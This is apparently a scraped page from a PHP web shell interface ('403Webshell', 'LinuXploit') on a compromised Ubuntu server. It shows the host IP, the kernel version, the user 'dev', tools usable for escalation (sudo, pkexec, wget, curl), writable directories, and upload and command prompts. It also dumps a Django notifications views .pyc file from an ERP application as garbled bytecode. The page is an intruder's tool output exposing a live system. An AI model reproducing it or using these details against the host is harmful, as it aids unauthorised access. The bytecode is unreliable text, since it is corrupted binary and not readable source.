403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/notifications/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/notifications/__pycache__/views.cpython-310.pyc
o

hͦh��@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZmZedd�Zee��ed�kroddl	m Z nddl!Z!dd�Z"dd�Z Gdd�de�Z#Gdd�de#�Z$Gdd�de#�Z%edd ��Z&ed1d!d"��Z'ed1d#d$��Z(ed1d%d&��Z)ed'd(��Z*ed)d*��Z+ed+d,��Z,d-d.�Z-ed/d0��Z.dS)2z$ Django Notifications example views �)�
StrictVersion)�get_version)�login_required)�
model_to_dict)�HttpResponse)�get_object_or_404�redirect)�method_decorator)�never_cache)�ListView)�
load_model)�NotificationSound)�settings)�
get_config)�id2slug�slug2id�
notifications�Notificationz1.7.0)�JsonResponseNcCst|d�r	|��S|S)N�	isoformat)�hasattrr)�obj�r�#/var/www/erp/notifications/views.py�date_handlersrcCsttj|td�dd�S)N)�defaultzapplication/json)�content_type)r�json�dumpsr)�datarrrr!s�rcs8eZdZdZdZe��dZee	��fdd��Z
�ZS)�NotificationViewListznotifications/list.htmlr�PAGINATE_BYcstt|�j|g|�Ri|��S�N)�superr �dispatch)�self�request�args�kwargs��	__class__rrr$,szNotificationViewList.dispatch)�__name__�
__module__�__qualname__�
template_name�context_object_namerr�paginate_byr	rr$�
__classcell__rrr)rr 'sr c@seZdZdZdd�ZdS)�AllNotificationsListz+
    Index page for authenticated user
    cCs0t��dr|jjj��}|S|jjj��}|S)N�SOFT_DELETE)rrr&�userr�active�all)r%�qsetrrr�get_queryset6s
�z!AllNotificationsList.get_querysetN)r+r,r-�__doc__r8rrrrr21sr2c@seZdZdd�ZdS)�UnreadNotificationsListcCs|jjj��Sr")r&r4r�unread)r%rrrr8@sz$UnreadNotificationsList.get_querysetN)r+r,r-r8rrrrr:>sr:cCs,|jj��|j�d�}|rt|�Std�S)N�next�notifications:unread)r4r�mark_all_as_read�GET�getr)r&�_nextrrrr>Ds
r>cC�@t|�}tt|j|d�}|��|j�d�}|rt|�Std�S�N��	recipient�idr<r=)rrrr4�mark_as_readr?r@r�r&�slug�notification_id�notificationrArrrrGO��rGcCrBrC)rrrr4�mark_as_unreadr?r@rrHrrrrM`rLrMcCs\t|�}tt|j|d�}t��drd|_|��n|��|j	�
d�}|r*t|�Std�S)NrDr3Tr<znotifications:all)rrrr4rr�deleted�save�deleter?r@rrHrrrrPqs�
rPcCsZz|j��}Wn
ty|jj}Ynw|sddi}t|�Sd|jj����i}t|�S)N�unread_countr)r4�is_authenticated�	TypeErrorrr;�countr�r&�user_is_authenticatedrrrr�live_unread_notification_count�s���rWcCsRz|j��}Wn
ty|jj}Ynw|s dgd�}t|�St�d}z|j�d|�}t|�}d|kr;dks>n|}WntyJ|}Ynwg}|jj	�
�d|�D]B}t|�}t|j
�|d<|jrnt|j�|d<|jrxt|j�|d	<|jr�t|j�|d
<|jr�|j|d<|�|�|j�d�r�|��qW|jj	�
���|d�}t|�S)
�-Return a json with a unread notification listr)rQ�unread_list�NUM_TO_FETCH�max��drI�actor�target�
action_objectrrG)r4rRrSrrr?r@�int�
ValueErrorrr;rrrFr^�strr_r`r�appendrGrT)r&rVr�default_num_to_fetch�num_to_fetchrYrK�structrrr�live_unread_notification_list�sL�

��

��rhcCsNz|j��}Wn
ty|jj}Ynw|s dgd�}t|�St�d}z|j�d|�}t|�}d|kr;dks>n|}WntyJ|}Ynwg}|jj	�
�d|�D]B}t|�}t|j
�|d<|jrnt|j�|d<|jrxt|j�|d	<|jr�t|j�|d
<|jr�|j|d<|�|�|j�d�r�|��qW|jj	��|d�}t|�S)
rXr)�	all_count�all_listrZr[r\r]rIr^r_r`rrG)r4rRrSrrr?r@rarbrr6rrrFr^rcr_r`rrdrGrT)r&rVrrerfrjrKrgrrr�live_all_notification_list�sH�

��

�rkcCsVz|j��}Wn
ty|jj}Ynw|sddi}t|�Sd|jj��i}t|�S)Nrir)r4rRrSrrTrrUrrr�live_all_notification_count�s���rlcCs8|jj}tjj|d�\}}|s|j|_|��td�S)N)�employee�)r4�employee_getr
�objects�
get_or_create�
sound_enabledrOr)r&rm�sound�createdrrr�notification_sound�s
rur")/r9�distutils.versionr�djangor�django.contrib.auth.decoratorsr�django.formsr�django.httpr�django.shortcutsrr�django.utils.decoratorsr	�django.views.decorators.cacher
�django.views.genericr�swapperr�base.modelsr
rr�notifications.settingsr�notifications.utilsrrrrrrr r2r:r>rGrMrPrWrhrkrlrurrrr�<module>sR






,
)

Youez - 2016 - github.com/yon3zu
LinuXploit